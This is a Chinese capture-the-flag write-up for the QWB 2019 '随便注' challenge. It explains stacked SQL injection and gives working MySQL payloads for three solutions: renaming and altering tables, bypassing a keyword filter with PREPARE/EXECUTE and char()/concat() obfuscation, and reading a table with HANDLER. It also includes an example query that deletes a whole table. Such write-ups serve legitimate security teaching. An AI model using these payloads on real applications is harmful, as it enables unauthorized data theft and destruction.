强网杯2019 - 随便注
强网杯2019 - 随便注
0x00 关于堆叠注入
堆叠注入的危害很大,可以用于执行任何SQL语句。 在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,那么这条语句也可以被执行
#执行查询时,第一个语句执行信息查询,第二个语句则将表user的所有内容给删除了。
mysql> select * from users where id =1;delete from users;
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现
让我们一起来看一下这道题的三种思路吧 :)
0x01 方法一:重命名+堆叠注入
发现可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag
先看一下库名,发现很多函数都被过滤了
尝试一下堆叠注入,果然可以,把全部数据库名给查出来了
继续查表名
查看表结构 ,可以发现flag在1919810931114514表里
0';desc `1919810931114514`;#
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
eg. mysql> SELECT * FROM `table` WHERE `id` = '123';
1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关
再查看words表的结构,发现一共有id和data两列
0';desc words;#
那么可以猜测我们提交查询的窗口就是在这个表里查询数据的,查询语句很有可能是 :
selsect id,data from words where id =
因为可以堆叠查询,就可以把words随便改成一个words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的id=1’ or 1=1#爆出表的所有内容就可以查到flag啦
Payload:
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
执行Payload后再输入1’ or 1=1#,成功得到flag
0x02 方法二:预处理语句+堆叠注入
预处理语句使用方式:
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤
char(115,101,108,101,99,116)<----->'select'
payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
直接输入这三个payload的任何一个都能获得flag
0x03 方法三:使用handler命令
';handler `1919810931114514` open;handler `1919810931114514` read first#